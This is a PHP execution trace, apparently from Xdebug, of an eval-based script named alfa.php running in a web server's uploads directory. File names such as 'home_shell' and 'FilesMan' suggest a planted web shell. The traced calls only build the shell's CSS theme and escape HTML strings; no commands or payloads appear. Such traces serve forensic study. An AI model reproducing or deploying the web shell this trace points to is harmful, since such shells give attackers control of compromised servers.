6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'input[type=text],textarea'
7	262	0	0.047771	3534472	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'input_box_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['input[type=text],textarea' => 'border: 1px solid {color}']]
7	262	1	0.047805	3534472
7	262	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	263	0	0.047831	3534472	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
7	263	1	0.047848	3534624
7	263	R			'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'input[type=text],textarea{border: 1px solid #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'input_box_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'input[type=text],textarea'
7	264	0	0.047919	3534472	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'input_box_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#999999', 'multi_selector' => ['input[type=text],textarea' => 'color: {color};']]
7	264	1	0.047955	3534472
7	264	R			'#999999'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#999999'
7	265	0	0.047981	3534472	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#999999'	'color: {color};'
7	265	1	0.047998	3534608
7	265	R			'color: #999999;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #999999;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'input[type=text],textarea{color: #999999;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'input_box:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'input[type=text]:hover,textarea:hover'
7	266	0	0.048107	3534456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'input_box:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=text]:hover,textarea:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	266	1	0.048143	3534456
7	266	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	267	0	0.048169	3534456	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
7	267	1	0.048188	3534632
7	267	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'input[type=text]:hover,textarea:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'select_box_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'select'
7	268	0	0.048263	3534496	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'select_box_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['select' => 'border: 1px solid {color}']]
7	268	1	0.048297	3534496
7	268	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	269	0	0.048324	3534496	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
7	269	1	0.048340	3534648
7	269	R			'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 1px solid #0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'select{border: 1px solid #0E304A}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'select_box_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'select'
7	270	0	0.048409	3534472	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'select_box_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFEE', 'multi_selector' => ['select' => 'color: {color};']]
7	270	1	0.048442	3534472
7	270	R			'#FFFFEE'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFEE'
7	271	0	0.048468	3534472	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFEE'	'color: {color};'
7	271	1	0.048491	3534608
7	271	R			'color: #FFFFEE;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFEE;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'select{color: #FFFFEE;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'select_box:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'select:hover'
7	272	0	0.048559	3534456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'select_box:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['select:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	272	1	0.048593	3534456
7	272	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	273	0	0.048619	3534456	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
7	273	1	0.048637	3534632
7	273	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'select:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'button_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'input[type=submit],.button,#addup'
7	274	0	0.048710	3534496	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'button_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit],.button,#addup' => 'border: 1px solid {color};']]
7	274	1	0.048743	3534496
7	274	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	275	0	0.048769	3534496	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'border: 1px solid {color};'
7	275	1	0.048786	3534648
7	275	R			'border: 1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'input[type=submit],.button,#addup{border: 1px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'button:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = 'input[type=submit]:hover'
7	276	0	0.048862	3534472	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'button:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	276	1	0.048897	3534472
7	276	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	277	0	0.048923	3534472	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:2px solid {color};'
7	277	1	0.048941	3534648
7	277	R			'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #27979B;border:2px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= 'input[type=submit]:hover{box-shadow:0 0 4px #27979B;border:2px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.button:hover,#addup:hover'
7	278	0	0.049005	3534496	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'button:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['input[type=submit]:hover' => 'box-shadow:0 0 4px {color};border:2px solid {color};', '.button:hover,#addup:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	278	1	0.049040	3534496
7	278	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	279	0	0.049066	3534496	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
7	279	1	0.049084	3534672
7	279	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.button:hover,#addup:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'outputs_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.ml1'
7	280	0	0.049156	3535008	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'outputs_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.ml1' => 'color: {color};']]
7	280	1	0.049189	3535008
7	280	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#67ABDF'
7	281	0	0.049215	3535008	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#67ABDF'	'color: {color};'
7	281	1	0.049232	3535144
7	281	R			'color: #67ABDF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #67ABDF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.ml1{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'outputs_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.ml1'
7	282	0	0.049299	3534968	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'outputs_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.ml1' => 'border: 1px solid {color};']]
7	282	1	0.049332	3534968
7	282	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	283	0	0.049358	3534968	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'border: 1px solid {color};'
7	283	1	0.049376	3535120
7	283	R			'border: 1px solid #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 1px solid #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.ml1{border: 1px solid #0E304A;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.inputfile'
7	284	0	0.049445	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	284	1	0.049483	3534984
7	284	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	285	0	0.049509	3534984	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'box-shadow:0 0 4px {color};border:1px solid {color};'
7	285	1	0.049527	3535160
7	285	R			'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.inputfile{box-shadow:0 0 4px #0E304A;border:1px solid #0E304A;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader_background'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.inputfile strong'
7	286	0	0.049600	3535008	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader_background'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.inputfile strong' => 'background-color: {color};']]
7	286	1	0.049634	3535008
7	286	R			'#0E304A'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0E304A'
7	287	0	0.049660	3535008	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0E304A'	'background-color: {color};'
7	287	1	0.049678	3535160
7	287	R			'background-color: #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #0E304A;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.inputfile strong{background-color: #0E304A;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader_text_right'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.inputfile strong'
7	288	0	0.049747	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader_text_right'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.inputfile strong' => 'color: {color};']]
7	288	1	0.049780	3534984
7	288	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	289	0	0.049806	3534984	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	289	1	0.049823	3535120
7	289	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.inputfile strong{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader_text_left'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.inputfile span'
7	290	0	0.049890	3534968	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader_text_left'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#25ff00', 'multi_selector' => ['.inputfile span' => 'color: {color};']]
7	290	1	0.049923	3534968
7	290	R			'#25ff00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#25ff00'
7	291	0	0.049948	3534968	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#25ff00'	'color: {color};'
7	291	1	0.049965	3535104
7	291	R			'color: #25ff00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #25ff00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.inputfile span{color: #25ff00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.inputfile:hover'
7	292	0	0.050034	3534968	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#27979B', 'multi_selector' => ['.inputfile:hover' => 'box-shadow:0 0 4px {color};border:1px solid {color};']]
7	292	1	0.050069	3534968
7	292	R			'#27979B'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#27979B'
7	293	0	0.050095	3534968	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#27979B'	'box-shadow:0 0 4px {color};border:1px solid {color};'
7	293	1	0.050113	3535144
7	293	R			'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'box-shadow:0 0 4px #27979B;border:1px solid #27979B;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'uploader_progress_bar'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '#up_bar'
7	294	0	0.050186	3535008	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'uploader_progress_bar'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#ff0000', 'multi_selector' => ['#up_bar' => 'background-color: {color};']]
7	294	1	0.050219	3535008
7	294	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#ff0000'
7	295	0	0.050246	3535008	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#ff0000'	'background-color: {color};'
7	295	1	0.050263	3535160
7	295	R			'background-color: #ff0000;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #ff0000;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '#up_bar{background-color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'mysql_tables'
7	296	0	0.050319	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'mysql_tables'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#00FF00'
7	296	1	0.050347	3534984
7	296	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.mysql_tables{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'mysql_table_count'
7	297	0	0.050401	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'mysql_table_count'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
7	297	1	0.050429	3534984
7	297	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.mysql_table_count{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'copyright'
7	298	0	0.050482	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'copyright'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#ff0000'
7	298	1	0.050514	3534984
7	298	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.copyright{color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'scrollbar'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '*::-webkit-scrollbar-thumb'
7	299	0	0.050581	3534984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'scrollbar'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#1e82b5', 'multi_selector' => ['*::-webkit-scrollbar-thumb' => 'background-color: {color};']]
7	299	1	0.050614	3534984
7	299	R			'#1e82b5'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#1e82b5'
7	300	0	0.050640	3534984	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#1e82b5'	'background-color: {color};'
7	300	1	0.050658	3535136
7	300	R			'background-color: #1e82b5;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #1e82b5;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '*::-webkit-scrollbar-thumb{background-color: #1e82b5;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'scrollbar_background'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '*::-webkit-scrollbar-track'
7	301	0	0.050727	3536008	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'scrollbar_background'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#000115', 'multi_selector' => ['*::-webkit-scrollbar-track' => 'background-color: {color};']]
7	301	1	0.050761	3536008
7	301	R			'#000115'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#000115'
7	302	0	0.050787	3536008	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#000115'	'background-color: {color};'
7	302	1	0.050803	3536160
7	302	R			'background-color: #000115;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #000115;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '*::-webkit-scrollbar-track{background-color: #000115;}'
6	171	1	0.050847	3535952
6	171	R			'.header{border: 7px solid #0E304A}#meunlist{border-color: #0E304A}#hidden_sh{background-color: #0E304A}.ajaxarea{border: 1px solid #0E304A}.foot{border-color: #0E304A}.header_vars{color: #27979B;}.header_values{color: #67ABDF;}.header_on{color: #00FF00;}.header_off{color: #ff0000;}.header_none{color: #00FF00;}.home_shell{color: #ff0000;}.home_shell:hover{color: #FFFFFF;}.back_shell{color: #efbe73;}.back_shell:hover{color: #FFFFFF;}.header_pwd{color: #00FF00;}.header_pwd:hover{color: #FFFFFF;}.header_drive{c'
6	303	0	0.051153	3527872	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1396	1	'/var/www/html/uploads/'
6	303	1	0.051172	3528064
6	303	R			'/var/www/html/uploads/'
6	304	0	0.051189	3527984	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1397	1	'FilesMan'
6	304	1	0.051204	3528176
6	304	R			'FilesMan'
6	305	0	0.051219	3528032	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1398	1	NULL
6	305	1	0.051234	3528224
6	305	R			''
6	306	0	0.051248	3528032	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1399	2	NULL	'\n'
6	306	1	0.051264	3528104
6	306	R			FALSE
6	307	0	0.051278	3528032	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1399	2	NULL	3
6	307	1	0.051293	3528264
6	307	R			''
6	308	0	0.051307	3528064	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1400	2	NULL	'\n'
6	308	1	0.051326	3528136
6	308	R			FALSE
6	309	0	0.051339	3528064	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1400	2	NULL	3
6	309	1	0.051354	3528296
6	309	R			''
6	310	0	0.051367	3528064	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1401	2	NULL	'\n'
6	310	1	0.051382	3528136
6	310	R			FALSE
6	311	0	0.051395	3528064	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1401	2	NULL	3
6	311	1	0.051409	3528296
6	311	R			''
6	312	0	0.051423	3528096	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1402	2	NULL	'\n'
6	312	1	0.051437	3528168
6	312	R			FALSE
6	313	0	0.051450	3528096	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1402	2	NULL	3
6	313	1	0.051464	3528328
6	313	R			''
6	314	0	0.051477	3528096	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1403	2	NULL	'\n'
6	314	1	0.051492	3528168
6	314	R			FALSE
6	315	0	0.051504	3528096	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1403	2	NULL	3
6	315	1	0.051518	3528328
6	315	R			''
6	316	0	0.051531	3528128	strpos	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1404	2	NULL	'\n'
6	316	1	0.051545	3528200
6	316	R			FALSE
6	317	0	0.051558	3528128	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	1404	2	NULL	3
6	317	1	0.051573	3528360
6	317	R			''
